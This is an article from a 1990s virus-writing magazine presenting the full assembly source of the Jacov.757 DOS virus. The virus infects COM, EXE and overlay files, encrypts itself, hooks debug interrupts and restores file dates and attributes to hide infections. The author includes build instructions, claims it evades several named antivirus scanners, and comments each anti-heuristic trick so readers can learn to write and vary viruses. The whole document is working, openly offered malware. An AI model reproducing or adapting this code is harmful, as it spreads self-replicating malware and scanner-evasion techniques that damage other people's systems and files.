; ===========================================================================
;  s l a m  v i r u s  m a g a z i n e  i s s u e  2          article num. 02
; ===========================================================================
;                                                          
;  þ The Jacov.757 Virus - Non-TSR COM/EXE/OVL Infector    
;
; Assumes TASM v4.00 or v5.00 or A86 Macro Assembler v4.02;  other assemblers
; may work, but are not personally tested or quality assured.
;
; Assemble with: tasm /m2 jacov757.asm     (/m1 generates a 761 byte variant)
;                tlink /t jacov757.obj
;
; Alternately:   a86 jacov757.asm jacov757.com   (creates a 759 byte variant)
; ===========================================================================
; TSR..................... No
; Encrypted............... Yes
; Appending Virus......... Yes
; COM infector............ Yes
; EXE infector............ Yes
; OVL infector............ Yes, infects *.OV? in fact...
; SYS infector............ No
; Boot infector........... No
; Reset Attributes........ Yes
; Reset Time/Date......... Yes
; Avoid Heuristic......... Yes (See below and in code)
; Anti-Debugging.......... Yes, Int 01h and 03h are hooked to bomb out.
; Disable Watchdogs....... Nope, nobody uses them anyway... <grin>
; Targets Checksums....... No
; Payload................. No, maybe in a more complete version.
; Message................. Not in this one... Just name and author.
; Error trapping.......... Yes, Int 24h is hooked.
; Directory Stealth....... No
;
; Thanks to Killer Bee for the preceding table layout, it's quite helpful....
; ===========================================================================
; As of right now, the Jacov.757 virus is 100% unscannable with:
;
;  þ TBAV v7.07 w/ high heuristic sensitivity enabled
;  þ AVPLite v3.0 build 107 updated 03/22/97 with full heuristics enabled
;  þ Dr. Solomon's FindVirus v7.69 w/ the following command-line switches
;    enabled: /!GURU /SECURE /VID /!IVN /!DOBOOTS /PACK /ANALYSE (sometimes)
;  þ Microsoft Anti-Virus (big surprise... no great accomplishment here :)
;  þ F-PROT v2.26 w/ switches /ANALYSE and /GURU enabled; /PARANOID enabled
;    for infected COM files
;
; More to come, soon, soon:
;
;  þ F-PROT v2.26 w/ switches /ANALYSE /GURU /PARANOID enabled (for EXEs)
;  þ Dr. Solomon's FindVirus v7.69 (all the time)
; ===========================================================================
; Here's the header and file information for an infected file; note the virus
; sets cs = ss - 1 and ip = sp to avoid some heuristic detection, and that it
; builds the file sizes properly, unlike many other exe infectors. Originally
; the host file was 1000 bytes, note the differences in size, etc:
;
; ==[ header information ]===============[ dec ]=========[ hex ]=============
;
; þ Bytes on last page            :       00221           00DDh
;   Pages in file                 :       00004           0004h
;   Relocations                   :       00000           0000h
;   Paragraphs in header          :       00032           0020h
; þ Minimum memory (paragraphs)   :       00000           0000h Memory needed
;   Maximum memory (paragraphs)   :       65535           FFFFh       2k
; þ CS:IP                         : 00030:00008     001Eh:0008h
;   SS:SP                         : 00029:00008     001Dh:0008h
; þ CheckSum                      :       00000           0000h
;   Relocation table address      :       00000           0000h
;   Overlay number                :       00000           0000h
;
; ==[ File information ]=====================================================
;
; þ Size on disk                  :        1757 bytes
; þ Module length                 :        1245 bytes
; þ Header length                 :         512 bytes
; þ Overlay length                :           0 bytes
;
; ===========================================================================
; This is my first .EXE infector, so if the code looks like it was written by
; someone on acid, take that into consideration. Also take into consideration
; that I have stopped optimizing (modifying even) the code of this version of
; the virus for the simple reason that I like the virus size (757 bytes, like
; that crappy Boeing plane...). In any case, enjoy; if you want to make a new
; variant of this virus,  you are fully welcome to; just give me some credit,
; as one thing that is just lamer than lame is a ripped-off virus. Note; I've
; included an assembled (and encrypted) copy of this virus with sixteen other
; variants, for those of you who are without a working assembler. If you want
; source code for the variants of this or any of my other viruses that appear
; in this magazine, e-mail the editors of the magazine or contact me directly
; at <gothmog@akamail.com>.  Also note, I went crazy mad with comments in the
; code; if any are wrong, don't blame me;  I do this to help you, the reader,
; learn more about programming viruses.
;
; Knock yourself out...
; =========================================[ Gothmog, 04/15/97 08:36:57PM ]==

.model tiny                                     ; generate a com dropper file
.286                                            ; uses pusha and popa opcodes
.code                                           ; tasm accelerated directive

        org     100h                            ; code starts at cs:0100h

virus_start:
        mov     bp, 0000h                       ; set bp to delta offset
        org     $ - 0002h

delta_offset    dw      0000h                   ; delta offset of virus code

        cli                                     ; clear maskable interrupts
                                                ; while manipulating the stack

        mov     sp, 0FFFEh                      ; set stack pointer to the top
                                                ; of its memory segment
        mov     ax, cs                          ; load ax with code segment
        mov     ss, ax                          ; and set ss to it

        sti                                     ; restore maskable interrupts

        push    ds                              ; save data segment for later

        push    cs                              ; save code segment on stack
        pop     es                              ; and set new es = cs

        push    cs                              ; save code segment on stack
        pop     ds                              ; and set new ds = cs

; ===========================================================================
; F-Protect will flag this virus if the following code is included, but stops
; tracing immediately if a register is called, even if the /analyse /paranoid
; and /guru command-line switches are used.
;
;       call    decrypt
; ===========================================================================

        lea     ax, [decrypt + bp]              ; load ax with decrypt offset
        call    ax                              ; and decrypt the virus code

; =[ encrypted area begins ]=================================================

start_encrypt:
        push    es                              ; save extra segment on stack

        xor     ax, ax                          ; zero ax (ax = 0000h)
        mov     es, ax                          ; and set es to 0000h

        lea     ax, [int_01_handler + bp]       ; load ax with int 01 handler
                                                ; offset (anti-heuristic)

        mov     word ptr es:[1h*4], ax          ; and point interrupt vector
                                                ; table entry for int 01 to
                                                ; the new handler (see below)

        lea     ax, [int_03_handler + bp]       ; load ax with int 01 handler
                                                ; offset (anti-heuristic)

        mov     word ptr es:[3h*4], ax          ; and point interrupt vector
                                                ; table entry for int 03 to
                                                ; the new handler (see below)

        mov     ax, cs                          ; set ax to code segment;
                                                ; anti-heuristic for tbscan

        mov     word ptr es:[1h*4+2], ax        ; set int 01 segment to cs
        mov     word ptr es:[3h*4+2], ax        ; set int 03 segment to cs

        mov     ax, 3524h                       ; ax = 3524h; get interrupt
        int     21h                             ; 24 handler seg:off in es:bx

        mov     ax, es                          ; copy int 24's segment to ax
        pop     es                              ; and restore our original es

        push    bx                              ; save int 24h's offset on
                                                ; the stack

        push    ax                              ; save int 24h's segment on
                                                ; the stack

        mov     ax, 2524h                       ; ax = 2524h; set interrupt
                                                ; vector for int 24h to ds:dx
        lea     dx, [int_24_handler + bp]       ; set offset of new handler
                                                ; to offset of our handler
        int     21h                             ; and do it...

fuck_over_avp:

; ===========================================================================
; AVP v3.0 build 107 update 03/22/97 will detect the following anti-heuristic
; code segment, but not if you sub one of the bytes on the stack:
;
;       sub     byte ptr [bp + file_mask + 02h], 0Fh
;       sub     byte ptr [bp + file_mask + 04h], 0Fh
; ===========================================================================

        push    word ptr [bp + file_mask + 2]   ; push 'tx' on stack
        mov     bx, sp                          ; copy stack pointer to bx
        sub     byte ptr [bx], 0Fh              ; change 'tx' to 'ex'
        pop     word ptr [bp + file_mask + 2]   ; and restore the bytes

        sub     byte ptr [bp + file_mask + 4], 0Fh

                                                ; change '*.ext' to '*.exe'
reset_variables:
        lea     si, [old_ip + bp]               ; copy words from old_ip
        lea     di, [store_ip + bp]             ; to store_ip
        mov     cx, 0004h                       ; copy four words
        rep     movsw                           ; do it!

set_dta:
        mov     ah, 1Ah                         ; ah = 1Ah; set new disk
                                                ; transfer area to offset of
        lea     dx, [new_dta + bp]              ; our dta area on heap
        int     21h                             ; and do it!

; ===========================================================================
; O  Found code that can be used to overwrite/move a program in memory.
;
;       lea     si, [storage_bytes + bp]
;       mov     di, 0100h
; ===========================================================================

        lea     di, [storage_bytes + bp]        ; copy from storage_bytes
        mov     si, 100h                        ; to cs:[0100h] to restore
                                                ; com host's beginning
        xchg    si, di                          ; anti-heuristic, see above

        mov     byte ptr [com_active + bp], 'n' ; by default, an exe host is
                                                ; active

        cmp     byte ptr cs:0100h, 0E9h         ; check to see if the byte at
                                                ; cs:[0100h] is E9h, this is
                                                ; the near jmp opcode and
                                                ; means a com host is active

        jne     skip_restore_storage_bytes      ; if an exe host is active,
                                                ; do not corrupt memory at
                                                ; cs:[0100h]

        movsw                                   ; copy one word to cs:[0100h]
        movsb                                   ; and one byte, for a total
                                                ; of three bytes copied

        mov     byte ptr [com_active + bp], 'y' ; a com host is running; set
                                                ; this flag to 'y'es ;)

skip_restore_storage_bytes:

; ===========================================================================
; F  Suspicious file access.  Might be able to infect a file.
;
;       mov     ah, 4Eh
; ===========================================================================

        mov     bh, 4Eh                         ; ah = 4Eh, find first file
        xchg    ax, bx                          ; anti-heuristic, see above

        mov     cx, 0007h                       ; cx = 0007h, find all files
        lea     dx, [file_mask + bp]            ; dx = mem. offset of '*.exe'

        pusha                                   ; save ah and cx for later

        call    find_file                       ; search current directory

        popa                                    ; restore ah = 4Eh, cx = 007h
        pusha                                   ; save ah and cx for later

; ===========================================================================
; AVP v3.0 build 107 update 03/22/97 will detect the following anti-heuristic
; code segment, but not if you xor the first word on the stack:
;
;       xor     word ptr [bp + file_mask + 02h], 1706h
;       xor     byte ptr [bp + file_mask + 04h], 08h
; ===========================================================================

        push    word ptr [bp + file_mask + 2]   ; push 'ex' on stack
        mov     bx, sp                          ; copy stack pointer to bx
        xor     word ptr [bx], 1706h            ; change 'ex' to 'co'
        pop     word ptr [bp + file_mask + 2]   ; and restore the bytes

        xor     byte ptr [bp + file_mask + 4], 08h

                                                ; change '*.coe' to '*.com'

        call    find_file                       ; search current directory

        popa                                    ; restore ah = 4Eh, cx = 007h
        pusha                                   ; save ah and cx for later

        lea     dx, [overlay_mask + bp]         ; load dx with mem. offset of
                                                ; '*.ov?' for infecting ovl,
                                                ; ovr, etc. files with proper
                                                ; exe headers

        call    find_file                       ; search current directory

        popa                                    ; restore ah = 4Eh, cx = 007h

        jmp     no_more_files                   ; no exe, com, or ov? files
                                                ; found, so return to host

find_file:
        int     21h                             ; find first or next file
        jc      jmp_to_ret                      ; if no files found, do 'ret'

        mov     ax, 3D00h                       ; ax = 3D00h; open disk file
        lea     dx, [new_dta + 1Eh + bp]        ; dx = file name in new dta
        push    dx                              ; save file name offset for
                                                ; later use; see below

        int     21h                             ; open the file, get handle
                                                ; returned in ax

        xchg    bx, ax                          ; put file handle in bx and
                                                ; discard ax value

        mov     ah, 3Fh                         ; ah = 3Fh; read file from
                                                ; handle in bx

        mov     cx, 1Ah                         ; read 1Ah bytes, length of
                                                ; exe header

        lea     dx, [exe_header + bp]           ; read to exe header area in
                                                ; heap; see below

        int     21h                             ; read the file

close_file:
        mov     ah, 3Eh                         ; ah = 3Eh, close file from
        int     21h                             ; handle in bx; do it!

test_infection:

        mov     byte ptr [bp + com_marker], 'e' ; assume exe file to infect

; ===========================================================================
; Z  EXE/COM determination.  The program tries to check whether a file
;    is a COM or EXE file.  Viruses need to do this to infect a program.
;
;       cmp     word ptr [exe_header + bp], 'ZM'
; ===========================================================================

        mov     ax, 'ZM'                        ; exe/misnamed coms always
                                                ; start with 'MZ' (usually :)

        cmp     word ptr [exe_header + bp], ax  ; compare target file's first
                                                ; two bytes to see if it is
                                                ; an exe (anti-heuristic)

        jne     com_file_found                  ; if bytes differ, assume com

        cmp     byte ptr [exe_header + bp + 18h], 40h

                                                ; make sure exe file is not
                                                ; a windows executable by
                                                ; checking relocation table
                                                ; value against marker 40h

        jae     find_next_file                  ; if windows exe, find next

        mov     ax, word ptr [exe_header + bp + 0Eh]

                                                ; load ax with stack segment
                                                ; of target exe file

        inc     ax                              ; set ax = ss + 1

        cmp     word ptr [exe_header + bp + 16h], ax

                                                ; compare target exe file's
                                                ; code segment with ss + 1,
                                                ; this is the the virus's
                                                ; infection marker

        jne     infect_the_bitch                ; if file is not infected,
                                                ; go ahead and infect it...

find_next_file:
        pop     ax                              ; pop and discard file name
                                                ; offset; used elsewhere

        mov     ah, 4Fh                         ; ah = 4Fh; find next file
        jmp     find_file                       ; jump to int 21h instruction

jmp_to_ret:
        jmp     ret_address                     ; execute a ret instruction;
                                                ; just as i'm commenting this
                                                ; i realize it's extremely
                                                ; silly; a simple ret would
                                                ; save one byte... oh well :)

                                                ; bonus points: make a more
                                                ; optimized variant and win
                                                ; a nifty prize...

com_file_found:
        cmp     byte ptr [bp + file_mask + 02h], 'c'

                                                ; check if file mask is *.com

        jne     find_next_file                  ; if not *.com, file is not
                                                ; standard or infectable :(

        cmp     byte ptr [exe_header + bp], 0E9h
                                                ; check if first byte is a
                                                ; jmp near opcode; this is
                                                ; the virus's infection
                                                ; marker in .com format

        je      find_next_file                  ; if file already infected,
                                                ; find another one

        mov     byte ptr [bp + com_marker], 'c' ; set internal com marker to
                                                ; 'c' for com; see below...

infect_the_bitch:
        mov     word ptr [bp + file_mask + 02h], 7874h

                                                ; change filemask to '*.tx?'

        mov     byte ptr [bp + file_mask + 04h], 74h

                                                ; change filemask to '*.txt'

        pop     si                              ; pop file mask offset
        pop     di                              ; pop destination ip for code
                                                ; return from call; discarded

        push    si                              ; push file mask offset

        lea     si, [exe_header + bp + 0Eh]     ; copy two words from exe
        lea     di, [old_ss + bp]               ; header to old_ss storage
        movsw                                   ; copy one word; si --> di
        movsw                                   ; copy one word; si --> di

        lea     si, [exe_header + bp + 14h]     ; copy two words from exe
        lea     di, [old_ip + bp]               ; header to old_ip storage
        movsw                                   ; copy one word; si --> di
        movsw                                   ; copy one word; si --> di
        
        lea     si, [new_dta + 15h + bp]        ; copy bytes from dta area
        lea     di, [file_attr + bp]            ; to file_attr block in heap
        mov     cx, 0009h                       ; copy nine bytes
        rep     movsb                           ; byte by byte; si --> di

; ===========================================================================
; F  Suspicious file access.  Might be able to infect a file.
;
;       mov     ax, 4301h
; ===========================================================================

        mov     cx, 4301h                       ; ax = 4301h; set attributes
        xchg    ax, cx                          ; anti-heuristic; see above

        xor     cx, cx                          ; cx = 0000h; clear attribs.
        pop     dx                              ; get file name offset
        push    dx                              ; and restore it to stack
        int     21h                             ; set the file attributes

        mov     ax, 3D02h                       ; ax = 3D02h; open file with
                                                ; read/write permissions
        int     21h                             ; open file, name still in
                                                ; dx from previous pop above

        xchg    bx, ax                          ; put file handle in bx and
                                                ; discard ax value

        mov     ax, 4202h                       ; ax = 4202h; set the file
                                                ; pointer relative to the
                                                ; end of the file

        xor     cx, cx                          ; zero bytes from the end
                                                ; of the file, ie. the end
                                                ; of the file exactly... <g>

        cwd                                     ; one byte; sets dx = 0000h
        int     21h                             ; set file pointer to eof

        push    ax                              ; save file length in ax

        mov     word ptr [delta_offset + bp], ax

                                                ; copy file length to delta
                                                ; offset, used for com files

        sub     ax, 03h                         ; set ax = file length - 03h

        mov     word ptr [jump_offset + bp], ax ; jump offset (see below) set
                                                ; to file length - 03h for
                                                ; jump instruction (3 bytes)

        pop     ax                              ; put file length in ax

        cmp     byte ptr [com_marker + bp], 'c' ; see if com file is being
                                                ; infected this run

        jne     exe_infector_shit               ; if not, proceed with exe
                                                ; infection routine

        lea     si, [exe_header + bp]           ; copy bytes from file start
        lea     di, [storage_bytes + bp]        ; to storage_bytes; see below
        movsw                                   ; copy one word to storage
        movsb                                   ; and one byte, for a total
                                                ; of three bytes copied

        jmp     skip_exe_infector_shit          ; skip exe infection routine

exe_infector_shit:
        push    ax                              ; save file size on stack
        push    dx                              ; save high word of file size

calculate_csip:
        mov     si, word ptr [exe_header + bp + 08h]

                                                ; si = size of exe header in
                                                ; paragraphs (16 bytes each)

        shl     si, 04h                         ; multiply si by 2^4 = 16d
        xchg    si, cx                          ; si = header in bytes; in cx

        sub     ax, cx                          ; subtract header size from
                                                ; low word of total file size

        sbb     dx, 0000h                       ; borrow from high word if
                                                ; necessary (if you don't
                                                ; understand this operation,
                                                ; look it up in an asm book)

                                                ; ax now holds the exe module
                                                ; length = file size - header
                                                ; size in bytes

        shl     dx, 0Ch                         ; multiply high word by 2^C =
                                                ; 4096d

        mov     cx, ax                          ; copy module length to cx
        shr     ax, 04h                         ; divide module length by 2^4
                                                ; = 16d

        add     dx, ax                          ; add this to high word * 2^C

        shl     ax, 04h                         ; multiply module length by
                                                ; 2^4 = 16d; undo's previous
                                                ; divide instruction but will
                                                ; round off to the nearest
                                                ; paragraph = 16 bytes

        sub     cx, ax                          ; subtract from exact module
                                                ; length to find remainder
                                                ; in bytes; see below for use

        mov     word ptr [exe_header + bp + 10h], cx

                                                ; set initial sp arbitrarily
                                                ; to this number, this will
                                                ; be < 0Fh and thus will not
                                                ; trigger the tbscan '?' flag

        mov     word ptr [exe_header + bp + 14h], cx

                                                ; set initial ip to this
                                                ; number; the code will then
                                                ; be paragraph-aligned...

        sub     cx, offset virus_start          ; subtract 100h from the new
                                                ; instruction pointer so that
                                                ; bp will be set to the right
                                                ; value in the new host .exe

        mov     word ptr [delta_offset + bp], cx

                                                ; and set the new offset

        mov     word ptr [exe_header + bp + 16h], dx

                                                ; set initial code segment
                                                ; to dx; see above for value

        dec     dx                              ; decrease dx by 01h

        mov     word ptr [exe_header + bp + 0Eh], dx

                                                ; set initial stack segment
                                                ; to initial cs - 01h; this
                                                ; serves as the virus's
                                                ; infection marker in exe's
                                                
        pop     dx                              ; get high word of file size
        pop     ax                              ; get low word of file size

calculate_size:
        add     ax, virus_length                ; add virus length to file
        adc     dx, 0000h                       ; size, and carry if needed

        mov     cx, 0200h                       ; divide by 200h = 512d to
        div     cx                              ; get new size in pages

        inc     ax                              ; round quotient up by one

        mov     word ptr [exe_header + bp + 04h], ax

                                                ; set new exe header field to
                                                ; size of file in paragraphs

        mov     word ptr [exe_header + bp + 02h], dx

                                                ; set length of last page
                                                ; to division remainder
skip_exe_infector_shit:
        mov     ah, 2Ch                         ; ah = 2Ch; get system time
        int     21h                             ; read the system clock
        xchg    ch, cl                          ; switch hours with minutes
        add     dx, cx                          ; add minutes to seconds and
                                                ; hours to hundreths

        xor     dx, word ptr [encrypt_key + bp] ; xor value with previous
                                                ; random value; this ensures
                                                ; more random key generation

        mov     word ptr [encrypt_key + bp], dx ; and save the new random key

        lea     si, [write_virus + bp]          ; copy bytes from the write_
        lea     di, [heap_data + bp]            ; virus routine to the heap

        mov     cx, offset end_write_virus - offset write_virus

                                                ; write enough bytes to copy
                                                ; the entire routine

        rep     movsb                           ; copy the code; si --> di

        mov     ah, 40h                         ; ah = 40h; write file
        mov     cx, virus_length                ; number of bytes to write
        lea     dx, [bp + virus_start]          ; from start of virus code
        pusha                                   ; save these settings for
                                                ; later (see below)

        call    heap_data                       ; call write_virus routine

out_write_virus:
        mov     ax, 4200h                       ; set file pointer to
        xor     cx, cx                          ; beginning of file
        cwd                                     ; one byte; sets dx = 0000h
        int     21h                             ; set pointer to the top

        mov     ah, 40h                         ; ah = 40h; write file

        cmp     byte ptr [bp + com_marker], 'c' ; see if com file is being
                                                ; written or exe file; the
                                                ; routines differ, of course

        jne     write_exe_header                ; write header if exe file

        lea     dx, [bp + jump_bytes]           ; write jmp virus_offset
        mov     cx, 03h                         ; three bytes to write
        int     21h                             ; write first three bytes
                                                ; of infected file

        jmp     reset_file_attributes           ; skip over exe routine

write_exe_header:
        lea     dx, [bp + exe_header]           ; write from new header
        mov     cx, 1Ah                         ; 1Ah bytes to write = whole
                                                ; header buffer to file
        int     21h                             ; write new exe header

; ===========================================================================
; F  Suspicious file access.  Might be able to infect a file.
;
;       mov     ax, 5701h
; ===========================================================================

reset_file_attributes:
        mov     cx, 5701h                       ; ax = 5701h; set date/time
        xchg    ax, cx                          ; anti-heuristic; see above

        mov     cx, word ptr [file_time + bp]   ; restore original file time
        mov     dx, word ptr [file_date + bp]   ; restore original file date

        int     21h                             ; restore original time/date

        mov     ah, 3Eh                         ; ah = 3Eh; close file
        int     21h                             ; close the infected file

; ===========================================================================
; F  Suspicious file access.  Might be able to infect a file.
;
;       mov     ax, 4301h
; ===========================================================================

        mov     cx, 4301h                       ; ax = 4301h; set attributes
        xchg    ax, cx                          ; anti-heuristic; see above

        pop     dx                              ; get file name offset from
                                                ; stack; pushed before the
                                                ; infection routine
        xor     ch, ch                          ; ch = 00h; set attributes
        mov     cl, byte ptr [file_attr + bp]   ; cl = original file attribs.
        int     21h                             ; restore original attributes

        popa                                    ; restore ah = 4Eh, cx = 007h
                                                ; to be discarded, resets the
                                                ; stack only...

no_more_files:
        mov     ax, 2524h                       ; ax = 2524h; set interrupt
                                                ; 24 handler segment/offset
        pop     ds                              ; get original int 24 segment
        pop     dx                              ; get original int 24 offset
        int     21h                             ; and set the vector table

        pop     ds                              ; restore original data
                                                ; segment; see start of code

; ===========================================================================
; F  Suspicious file access.  Might be able to infect a file.
;
;       mov     ah, 1Ah
;       mov     dx, 0080h
; ===========================================================================

        xor     ah, ah                          ; ah = 1Ah; set default disk
        mov     dx, 1A80h                       ; transfer area to original
        xchg    ah, dh                          ; dta at cs:[0080h] in psp

        int     21h                             ; set default dta to original

restore_to_host:
        cmp     byte ptr [com_active + bp], 'y' ; see if a com host is being
        jne     return_to_exe_host              ; run, if not, continue with
                                                ; the exe host exit routine

; ===========================================================================
; B  Back to entry point.  Contains code to re-start the program after
;    modifications at the entry-point are made.  Very usual for viruses.
;
;       mov     si, 0100h
;       push    si
;       ret
; ===========================================================================

        dec     sp                              ; emulates a push w/o setting
                                                ; the value on the stack

        mov     si, sp                          ; copy stack pointer to si
        mov     word ptr [si], 0100h            ; change the last word on the
                                                ; stack to 0100h

        xor     ax, ax                          ; zero the registers, just
        xor     bx, bx                          ; in case the infected com
        xor     cx, cx                          ; file assumes that they are
                                                ; initially all zeroed

        cwd                                     ; one byte; sets dx = 0000h
        xor     bp, bp                          ; clear value of base pointer
        xor     si, si                          ; clear value of source index
        xor     di, di                          ; clear value of dest. index
        ret                                     ; simulate a call to value on
                                                ; the stack, which is 0100h;
                                                ; this will run the original
                                                ; host just as dos does, from
                                                ; cs:[0100h] with all regs.
                                                ; zero and the default psp
                                                ; at cs:[0000h] (see above)

return_to_exe_host:
        push    ds                              ; push data segment on stack
        pop     es                              ; and pop it to the extra
                                                ; segment; see below for use

        mov     ax, es                          ; load ax with extra segment
        add     ax, 10h                         ; and add 10h for psp area

        add     word ptr cs:[store_cs + bp], ax ; set new code segment to old
                                                ; code segment + es + 10h

        cli                                     ; clear maskable interrupts
        neg     sp                              ; emulate stack crash; anti-
        neg     sp                              ; heuristic and anti-tbclean
        add     ax, word ptr cs:[bp + store_ss] ; load ax with new stack seg
        mov     ss, ax                          ; and set the new stack seg
        mov     sp, word ptr cs:[bp + store_sp] ; set the new stack pointer
        sti                                     ; restore maskable interrupts

        db      0EAh                            ; db for far jump; so .exe
                                                ; host can be returned to
                                                ; properly

store_ip        dw      0000h                   ; ip of file being infected
store_cs        dw      0000h                   ; cs of file being infected
store_ss        dw      0000h                   ; ss of file being infected
store_sp        dw      0000h                   ; sp of file being infected

old_ip          dw      0000h                   ; orig. ip of infected file
old_cs          dw      0FFF0h                  ; orig. cs of infected file
old_ss          dw      0FFF0h                  ; orig. ss of infected file
old_sp          dw      0000h                   ; orig. sp of infected file

; =[ the following code segment will be copied to the heap ]=================

write_virus:
        pop     word ptr [crap_word + bp]       ; save return address in heap
        lea     ax, [encrypt + bp]              ; load ax with encrypt offset
                                                ; so code will work from heap
        call    ax                              ; encrypt virus code
        popa                                    ; restore infection settings
                                                ; ah = 40h, cx = length, etc.
        int     21h                             ; write the fat bitch
        lea     ax, [decrypt + bp]              ; load ax with decrypt offset
                                                ; so code will work from heap
        call    ax                              ; decrypt virus code
        push    word ptr [crap_word + bp]       ; push return address from
                                                ; heap so ret will function

ret_address:
        ret                                     ; return to calling address

end_write_virus         equ     $               ; end of code to be run from
                                                ; heap (this is so virus can
                                                ; stay encrypted in memory)

; =[ code segment ends; see above ]==========================================

virus_name      db      '[jacov]', 00h          ; virus name, don't ask...
virus_author    db      '(c) 1997 gothmog', 00h ; that's me, don't forget it

; ===========================================================================
; S  Contains a routine to search for executable (.COM or .EXE) files.
;
; file_mask     db      '*.exe', 00h
; ===========================================================================

file_mask       db      '*.txt', 00h            ; changes to *.exe and *.com

overlay_mask    db      '*.ov?', 00h            ; this mask is not picked up
                                                ; by heuristics (i think :)

storage_bytes   db      0CDh, 20h, 00h          ; original three bytes of an
                                                ; infected com file

end_encrypt     equ     $ - 0001h               ; end of encrypted area

; =[ encrypted area ends ]===================================================

int_01_handler:
        call    int_01_handler                  ; causes a stack crash if
                                                ; single-stepped through

int_24_handler:
        mov     al, 03h                         ; return standard error code

int_03_handler:
        iret                                    ; fly through breakpoints :)

encrypt:
decrypt:
        lea     si, [start_encrypt + bp]        ; start of encryption
        mov     di, si                          ; go word by word from start

        mov     cx, (end_encrypt - start_encrypt + 1) / 2

                                                ; ^- length of encrypted area
xor_loop:
        lodsw                                   ; load word from si into ax
                                                ; and increment si by one

        jnc     false_jump                      ; anti-heuristic, really jmp

false_jump_2:
        stosw                                   ; load word from ax into di
                                                ; and increment di by one
        loop    xor_loop                        ; loop until finished
        ret                                     ; return to calling address

false_jump:
        db      35h                             ; db for xor ax, word value

encrypt_key             dw      0000            ; random encryption key

        jnc     false_jump_2                    ; anti-heuristic, really jmp

jump_bytes:
        db      0E9h                            ; this byte and jmp_offset
                                                ; will form the new first
                                                ; three bytes of an infected
                                                ; com file; see above for use
virus_end:

; =[ heap space begins ]=====================================================

jump_offset     dw      ?                       ; offset of virus from file
                                                ; start in com file, see
                                                ; above for jump_bytes

exe_header      db      1Ah dup (?)             ; new exe-header, modified
                                                ; during infection process

file_attr       db      ?                       ; stored file attributes
file_time       dw      ?                       ; stored file time
file_date       dw      ?                       ; stored file date
file_size       dd      ?                       ; stored file size

new_dta         db      02Bh dup (?)            ; new disk transfer area

com_active      db      ?                       ; 'y' if com file is being
                                                ; executed, 'n' if otherwise

com_marker      db      ?                       ; 'c' if com file is being
                                                ; infected, 'e' if otherwise

crap_word       dw      ?                       ; saves destination ip from
                                                ; file-infection routine that
                                                ; is run from the stack

heap_data:

virus_length    equ     offset virus_end - offset virus_start

        end     virus_start

; ============================================================[ code ends ]==
